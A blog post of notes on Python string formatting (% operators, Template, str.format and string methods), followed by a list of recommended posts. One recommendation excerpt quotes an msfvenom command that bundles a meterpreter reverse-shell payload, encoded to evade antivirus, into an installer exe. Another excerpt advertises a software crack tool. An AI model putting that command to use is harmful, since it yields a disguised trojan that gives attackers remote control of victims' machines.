笔记-Python格式化字符串

Python字符串格式化 (%操作符) "I’m %s. I’m %d"为我们的模板。%s为第一个格式符,表示一个字符串。(‘Pythontab’,99)的两个元素’Pythontab’和99为替换%s和%d的真实值。整个"I’m %s. I’m %d" % (‘Pythontab’, 1) 实际上构成一个字符串表达式。模板中有格式符,这些格式符为真实值预留位置,并说明真实数值应该呈现的格式。Python中内置的%操作符可用于格式化字符串操作,控制字符串的呈现格式。Python中还有其他的格式化字符串的方式,但%操作符的使用是最方便的。 阅读详情

在编写程序的过程中,经常需要进行格式化输出,每次用每次查。干脆就在这里整理一下,以便索引。
格式化操作符(%)

"%"是Python风格的字符串格式化操作符,非常类似C语言里的printf()函数的字符串格式化(C语言中也是使用%)。

下面整理了一下Python中字符串格式化符合:

格式化符号

说明

%c转换成字符(ASCII 码值,或者长度为一的字符串)

%r优先用repr()函数进行字符串转换

%s优先用str()函数进行字符串转换

%d / %i转成有符号十进制数

%u转成无符号十进制数

%o转成无符号八进制数

%x / %X转成无符号十六进制数(x / X 代表转换后的十六进制字符的大小写)

%e / %E转成科学计数法(e / E控制输出e / E)

%f / %F转成浮点数(小数部分自然截断)

%g / %G ,%e和%f / %E和%F 的简写

%%输出% (格式化字符串里面包括百分号,那么必须使用%%)

这里列出的格式化符合都比较简单,唯一想要强调一下的就是"%s"和"%r"的差别。

看个简单的代码:

string = "Hello\tWill\n"

print "%s" %string
print "%r" %string

代码的输出为:
在这里插入图片描述

其实,这里的差异是str()和repr()两个内建函数之间的差异:

str()得到的字符串是面向用户的,具有较好的可读性
repr()得到的字符串是面向机器的
    通常(不是所有)repr()得到的效果是:obj == eval(repr(obj))

格式化操作符辅助符

通过"%“可以进行字符串格式化,但是”%"经常会结合下面的辅助符一起使用。

辅助符号

说明

*定义宽度或者小数点精度

-用做左对齐

+在正数前面显示加号(+)

#在八进制数前面显示零(0),在十六进制前面显示"0x"或者"0X"(取决于用的是"x"还是"X")

0显示的数字前面填充"0"而不是默认的空格

(var)映射变量(通常用来处理字段类型的参数)

m.n m 是显示的最小总宽度,n 是小数点后的位数(如果可用的话)

看一些简单的 例子:

num = 100

print "%d to hex is %x" %(num, num)
print "%d to hex is %X" %(num, num)
print "%d to hex is %#x" %(num, num)
print "%d to hex is %#X" %(num, num) 

# 浮点数
f = 3.1415926
print "value of f is: %.4f" %f

# 指定宽度和对齐
students = [{"name":"Wilber", "age":27}, {"name":"Will", "age":28}, {"name":"June", "age":27}]
print "name: %10s, age: %10d" %(students[0]["name"], students[0]["age"])
print "name: %-10s, age: %-10d" %(students[1]["name"], students[1]["age"])
print "name: %*s, age: %0*d" %(10, students[2]["name"], 10, students[2]["age"])

# dict参数
for student in students:
print "%(name)s is %(age)d years old" %student

复制代码

代码输出为:
在这里插入图片描述

对于Python的格式化操作符,不仅可以接受tuple类型的参数,也可以支持dict,象上面代码的最后一部分,那么格式化字符串中就可以直接使用"%(key)s"(这里的s根据具体类型改变)的方式表示dict中对应的value了。
字符串模板

其实,在Python中进行字符串的格式化,除了格式化操作符,还可以使用string模块中的字符串模板(Template)对象。下面就主要看看Template对象的substitute()方法:

from string import Template

s = Template("Hi, $name! $name is learning $language")
print s.substitute(name="Wilber", language="Python")

d = {"name": "Will", "language": "C#"}
print s.substitute(d)

# 用$$表示$符号
s = Template("This book ($bname) is 17$$")
print s.substitute(bname="TCP/IP")

代码结果为:
在这里插入图片描述

字符串内建函数format()

Python2.6开始,新增了一种格式化字符串的函数str.format(),通过这个函数同样可以对字符串进行格式化处理。在format()函数中,使用“{}”符号来当作格式化操作符。

下面直接通过一些简单的例子演示format()函数的基本使用:

# 位置参数
print "{0} is {1} years old".format("Wilber", 28)
print "{} is {} years old".format("Wilber", 28)
print "Hi, {0}! {0} is {1} years old".format("Wilber", 28)

# 关键字参数
print "{name} is {age} years old".format(name = "Wilber", age = 28)

# 下标参数
li = ["Wilber", 28]
print "{0[0]} is {0[1]} years old".format(li)

# 填充与对齐
# ^、<、>分别是居中、左对齐、右对齐,后面带宽度
# :号后面带填充的字符,只能是一个字符,不指定的话默认是用空格填充
print '{:>8}'.format('3.14')
print '{:<8}'.format('3.14')
print '{:^8}'.format('3.14')
print '{:0>8}'.format('3.14')
print '{:a>8}'.format('3.14')

# 浮点数精度
print '{:.4f}'.format(3.1415926)
print '{:0>10.4f}'.format(3.1415926)

# 进制
# b、d、o、x分别是二进制、十进制、八进制、十六进制
print '{:b}'.format(11)
print '{:d}'.format(11)
print '{:o}'.format(11)
print '{:x}'.format(11)
print '{:#x}'.format(11)
print '{:#X}'.format(11)

# 千位分隔符
print '{:,}'.format(15700000000)

str的内建函数

在最开始的时候,Python有一个专门的string模块,要使用string的方法要先import这个模块。从Python2.0开始, 为了方便使用,str类型添加了很多内建函数,这些函数可以实现跟string模块中函数相同的功能,也就是说,只要S是一个字符串对象就可以直接使用内建函数,而不用import。

对于字符串的格式化处理,也可以考虑使用str的其他内建函数:

>>> dir(str)['__add__', '__class__', '__contains__', '__delattr__', '__doc__', '__eq__', '__
format__', '__ge__', '__getattribute__', '__getitem__', '__getnewargs__', '__get
slice__', '__gt__', '__hash__', '__init__', '__le__', '__len__', '__lt__', '__mo
d__', '__mul__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
 '__rmod__', '__rmul__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center',
 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index
', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper',
'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', '
rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', '
strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']

下面整理出来了一些常用的str类型的内建函数:

# 小写 
S.lower() 
# 大写 
S.upper() 
#大小写互换 
S.swapcase() 
# 首字母大写 
S.capitalize() 

# 输出width个字符,S左对齐,不足部分用fillchar填充,默认的为空格。 
S.ljust(width,[fillchar]) 
# 右对齐 
S.rjust(width,[fillchar]) 
# 中间对齐 
S.center(width, [fillchar]) 

# 返回S中出现substr的第一个字母的标号,如果S中没有substr则返回-1。start和end作用就相当于在S[start:end]中搜索 
S.find(substr, [start, [end]]) 
# 返回S中最后出现的substr的第一个字母的标号,如果S中没有substr则返回-1,也就是说从右边算起的第一次出现的substr的首字母标号 
S.rfind(substr, [start, [end]]) 
# 计算substr在S中出现的次数 
S.count(substr, [start, [end]]) 
#把S中的oldstar替换为newstr,count为替换次数
S.replace(oldstr, newstr, [count]) 

# 把S中前后chars中有的字符全部去掉,可以理解为把S前后chars替换为None 
S.strip([chars]) 
S.lstrip([chars]) 
S.rstrip([chars]) 

# 以sep为分隔符,把S分成一个list。maxsplit表示分割的次数。默认的分割符为空白字符 
S.split([sep, [maxsplit]]) 
# 把seq代表的字符串序列,用S连接起来 
S.join(seq)

总结

本文整理了一些格式化字符,以及一些辅助指令,结合格式化操作符(%),就可以生成特定格式的字符串了。也可以使用字符串模板来进行字符串格式化。

Python 字符串格式化(%和format) 相比于 C 风格的格式字符串,format() 函数 / 方法是 Python 3 添加的高级字符串格式机制,不在使用 % 操作符。% 格式化操作符的写法来自 C 语言的 printf 函数,Python 及其他一些编程语言都依照了相同的写法来定义自己的格式字符串。总体而言,% 百分号方式比较老,而 format 方式是比较先进的,企图替代古老的方式,目前两者共存,可以根据自己的实际需要来选择。提示:% 操作符左边的文本模板被称为“格式字符串”。(1)使用% 格式化操作符输出“字符串”和“整数” 阅读详情

相关推荐

Python学习笔记——字符串的格式化输出

当需要把字符串和数字混合输出时,需要字符串的格式化输出。字符串的格式化输出有两种途径:格式化运算符%和format( )方法,两种途径可以达到相同的效果。 格式化运算符% ‘使用格式化运算符%的字符串’%(数据1, 数据2) 'Happy Birthday %d!' %(23) 'Happy Birthday 23!' %d是格式占位符,表示后面要替代数据的类型。格式占位符有很多种,如下表所示。 占位符 含义 %c 单个字符,替换成只有一个字符的字符串,或将一个表示字符的Unicode编码

sinat_33147507的博客 640

【Python】一文详细介绍操作符 % 的作用和用法

通过本文的介绍,我们详细了解了Python中操作符的作用和用法。从基本的求余数功能到字符串格式化,再到高级用法如生成周期性序列,我们逐步深入探索了操作符的多种用途。在实际编程中,操作符的应用非常广泛。无论是处理数学问题、格式化输出,还是进行位运算和算法设计,都能发挥出重要的作用。掌握其用法和技巧,可以帮助我们编写更加高效、精确的代码。然而,学习永远是一个不断深化的过程。虽然我们已经对有了较为全面的了解,但Python语言本身还有更多的特性和技巧等待我们去探索。

2401_84204207的博客 1万+

Python中String模块:格式化字符串

在Python中,格式化字符串是通过将字符串中的占位符替换为实际值来实现的。String模块提供了两种主要的格式化字符串的方式:百分号(%)和format()函数。其中,格式化字符串可以包含一个或多个占位符,每个占位符都以百分号(%)开头,并且后面跟着一个或多个字符,用于指定数据类型和输出格式。Python中的String模块是一个非常重要的模块,它提供了各种操作字符串的方法,包括字符串的格式化功能。format()函数是Python 2.6及更高版本中引入的一种新的格式化字符串的方式。

与其临渊羡鱼,不如退而结网 287

Python格式化字符串

在编写程序的过程中,经常需要进行格式化输出,每次用每次查。干脆就在这里整理一下,以便索引。 格式化操作符(%) "%"是Python风格的字符串格式化操作符,非常类似C语言里的printf()函数的字符串格式化(C语言中也是使用%)。 下面整理了一下Python中字符串格式化符合: 格式化符号 说明 %c 转换成字符(AS...

2817

Python学习笔记 - 探索字符串格式化

format()方法是Python内置的字符串格式化工具之一,它允许我们在字符串中插入变量、控制格式、并在输出时动态调整内容。这种方法通过在字符串中使用花括号{}来标记需要替换的字段,并使用format()函数传入相应的值进行替换。假设你在编写一封邮件,邮件的内容模板如下:“亲爱的{名字},你于{日期}在我们的网站下了一个订单。”你可以通过.format()方法来自动替换{名字}和{日期},从而生成个性化的邮件内容。字符串格式化是Python中一个非常强大的功能,它允许你以多种方式控制输出的内容和格式。

Mr数据杨 9732

【影像组学】用3Dslicer或Python提取影像组学特征

用3Dslicer或Python提取影像组学特征

abdslfwoeugp 1万+

python学习笔记04-格式化字符串

对齐方式:'^‘表示居中,’<‘表示左对齐,’>'表示右对齐;format是python2.6后增加的功能。语法: {:[填充符][对齐方式][宽度]}宽度: 通过数字或变量指定;指定总宽度和小数宽度。

编程驴子的博客 425

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7649

《零基础入门学习Python》学习过程笔记【015格式化字符串】

http://bbs.fishc.com/forum.php?mod=viewthread&tid=92997&extra=page%3D1%26filter%3Dtypeid%26typeid%3D403 我超级讨厌学习格式化字符串...所以跳过了

myloveprogrmming的博客 292

Virtuoso ADE Explorer实战技巧:从基础操作到高级仿真

本文深入解析了Virtuoso ADE Explorer在模拟电路仿真中的核心价值与实战技巧。作为Cadence平台的专业工具,它专为高效、系统化的设计空间探索而生,能大幅提升PVT验证、参数扫描和蒙特卡洛分析的效率。文章从基础界面操作、并行仿真管理,到高级的参数扫描、数据报告生成及蒙特卡洛结果深度剖析,提供了全面的避坑指南与工作流优化建议,帮助工程师从重复劳动中解放,专注于电路设计与性能优化。

ios99的博客 899

YOLO26创新改进 | 全网独家创新篇、小目标检测专属 | AAAI 2025 | 引入HS-FPN中的HFP和SDP创新点,从频域增强小目标特征,淘汰FPN进行升级,助力YOLO26有效涨点

本文提出HS-FPN特征金字塔网络,通过高频感知模块(HFP)和空间依赖感知模块(SDP)优化YOLO26模型。HFP利用高通滤波器增强小目标的高频特征,SDP捕获相邻像素的空间依赖关系。在AI-TOD等小目标检测数据集上,HS-FPN相比传统FPN显著提升性能。文章详细介绍了HFP和SDP的模块结构、核心代码实现,以及如何在YOLO26中集成这两个模块的配置方法,提供了多个版本的yaml文件配置方案。实验结果表明该方法能有效改善微小目标检测效果。

Ai缝合怪、助力小伙伴高效发论文 207

【Python笔记】字符串格式化

文章目录1. 用 % 格式化字符串2. 用 str.format() 格式化字符串 1. 用 % 格式化字符串 Python 支持格式化字符串的输出 。尽管这样可能会用到非常复杂的表达式,但最基本的用法是将一个值插入到一个有字符串格式符 % 的字符串中。 在 Python 中,字符串格式化使用与 C 中 sprintf 函数一样的语法。 &gt;&gt;&gt; print('My name is...

RadiantJeral的博客 411

CentOS-7-x86_64经典版本的含义

这个版本的ISO文件包含了所有的软件包,所以文件比较大,但在安装过程中不需要下载软件包。如果你有一个稳定的网络连接,并且希望安装时能够选择最新的软件包,或者只安装特定的软件包,那么可以选择NetInstall版本。在这里,它可能是指这个ISO文件发布于2207年2月,但是这似乎是一个错误,因为截止到现在(2022年)的时间,都没有到达2207年。另外,还有一个DVD版本,这个版本的ISO文件包含了大部分常用的软件包,安装时可能需要网络连接,但比NetInstall版本少一些。

舒一笑的博客 3535

【Python每日笔记Day4】平方根格式化,字符串分段组合实例演示

平方根格式化,字符串分段组合实例演示

woyoudianjinzhan的博客 2275

一种低照度目标检测新策略:IAT集成YOLOv8实现暗光与雾霾环境下的性能优化【附核心实战代码】

随着深度学习和计算机视觉的快速发展,目标检测模型在各个领域中的应用不断扩展,特别是在低照度环境下的视觉任务。YOLOv8作为当前最先进的目标检测模型之一,在高亮度和良好照明条件下表现出色,但在低照度环境下的性能存在一定的不足。为了解决这一问题,我们提出了一种轻量级的低照度图像增强网络(IAT)来改进YOLOv8的暗光检测能力。本篇文章将深入探讨这一创新改进,并附带代码实现,帮助大家更好地理解这一技术的应用和效果。

一键难忘的博客 3501

基于LSTM的股票价格预测系统,Django框架,Web的股票预测系统,训练+数据集+源码(无需安装环境版)

股票价格预测是投资领域的一个重点关注课题。由于股票价格受到诸多非线性因素的影响,得到精确的预测结果较为困难。使用 PyCharm 作为代码开发工具,通过下载好的股票金融数据,进行数据预处理,构建 LSTM 网络模型,训练模型并训练出最优模型,输出股票未来收盘价波动的走势,最后在训练好的模型上,设计股票模型应用系统,运行效率较高,对股票预测具有一定的积极意义。

在职AI算法工程师,擅长计算机视觉,YOLO目标检测、分割等,擅长web、pyqt界面可视化,好内容持续更新中,来这里跟大家一起学习,共同进步 955

python学习笔记02(for、字符串、字符串格式化、for循环嵌套)

for循环for i in range(1, 101):   print i表示从1开始,到101为止(不包括101),取其中所有的整数。for i in range(1, 101)就是说,把这些数,依次赋值给变量i。1~100求和:sum = 0 for i in range(1,101): sum = i + sum print("i=") print(i) p...

heJn1994的博客 1239

OAuth2.0集成SpringSecurity加JWT实现单点登录

单点登录(Single sign on),英文名称缩写SSO,SSO的意思就是在多系统的环境中,登录单方系统,就可以在不用再次登录的情况下访问相关受信任的系统。也就是说只要登录一次单体系统就可以

Nicky's blog 9038

【Python笔记】字符串的格式化

往字符串里传入对应的值: 1. 传统方案(可读性不好,麻烦) 2. % name='Tom' age=20 str='我叫:%s,年龄是:%d' % (name,age) (1)符号: %s 用str()函数进行字符串转换 %d 转成有符号十进制数 %f 转成浮点数(小数部分自然截断) %x 转成无符号十六进制数(x/X代表转换后的十六进制字符的大小写) (2)指定宽度: '%10d' %56 #最小宽度,不足空格补齐,输出为' 56' '%010d' %56 #用零补齐,输出为'0

jylsrnzb的博客 385

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

<python学习笔记>:字符串的格式化

字符串有哪些格式化方法?如何格式化字符串?

翼同学 1392

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

【Python学习笔记】字符串格式化

s 是一种格式化符号, Python 解释器 看到 %s , 就会调用内置函数 str(),并将对应的格式化对象作为参数传入 , 返回的结果字符串填入对应占位符。str()内置函数的参数 可以是任何类型的对象,比如:字符串、 整数、 浮点数、列表、元组 等等,都可以。所以 %s 为占位符, 对应的格式化对象, 不仅仅是字符串,还可以是整数、 浮点数、列表、元组 等等。像这种只有一个格式化对象的情况下,可以直接就用格式化对象,不需要放到元组里面,像这样。同样,为了输出对齐,我们需要指定填入的字符串的宽度。

冯宇的博客 531

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

Python格式化字符串学习笔记

Python提供了多种字符串格式化方法,每种方法都有其适用场景。选择合适的格式化方法可以让你的代码更简洁、更易读且更高效。f-string(Python 3.6及以上版本)str.format格式化模板字符串。

2302_80012625的博客 562

【python学习笔记】字符串的格式化

格式化字符串,就是按照统一的规格去输出一个字符串1.format()format()方法接受位置参数和关键字参数,二者都传递给一个叫作replacement字段,这个字段在字符串内由大括号表示举例:&gt;&gt;&gt; '{0} love {1}.{2}'.format("I","love","python") 'I love love.python'{0},{1},{2},那么format(...

木屐的博客 1030

python笔记之字符串格式化

Python中字符串的格式化有两种方式: 1. 字符串格式化表达式,类似于C语言中的printf模型; 2. 字符串格式化方法调用,format方法。字符串格式化表达式:"" % ()格式化规则:%[(name)][flags][width][.precision]typecodename: 字典键 flags: 左对齐(-),正负号(+),补零(0)的标志位 width: 位宽 .precis

许少y 807

python如何格式化输出字符串_Python学习笔记——字符串的格式化输出

当需要把字符串和数字混合输出时,需要字符串的格式化输出。字符串的格式化输出有两种途径:格式化运算符%和format( )方法,两种途径可以达到相同的效果。格式化运算符%‘使用格式化运算符%的字符串’%(数据1, 数据2…)'Happy Birthday %d!' %(23)'Happy Birthday 23!'%d是格式占位符,表示后面要替代数据的类型。格式占位符有很多种,如下表所示。占位符含义...

weixin_39839478的博客 303

python字符串格式化之学习笔记

在python中格式化输出字符串使用的是%运算符,通用的形式为 •格式标记字符串 % 要输出的值组其中,左边部分的”格式标记字符串“可以完全和c中的一致。右边的'值组'如果有两个及以上的值则需要用小括号括起来,中间用短号隔开。重点来看左边的部分。左边部分的最简单形式为: •%cdoe其中的code有多种,不过由于在python中,所有东西都可以转换成string类型,因此,如果没有什么特殊需求...

weixin_34130269的博客 124
上一篇: 笔记-Python多线程
下一篇: 笔记-anaconda配置Python环境
大白砌墙
博客等级 码龄11年 1296粉丝 144原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

大白砌墙

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值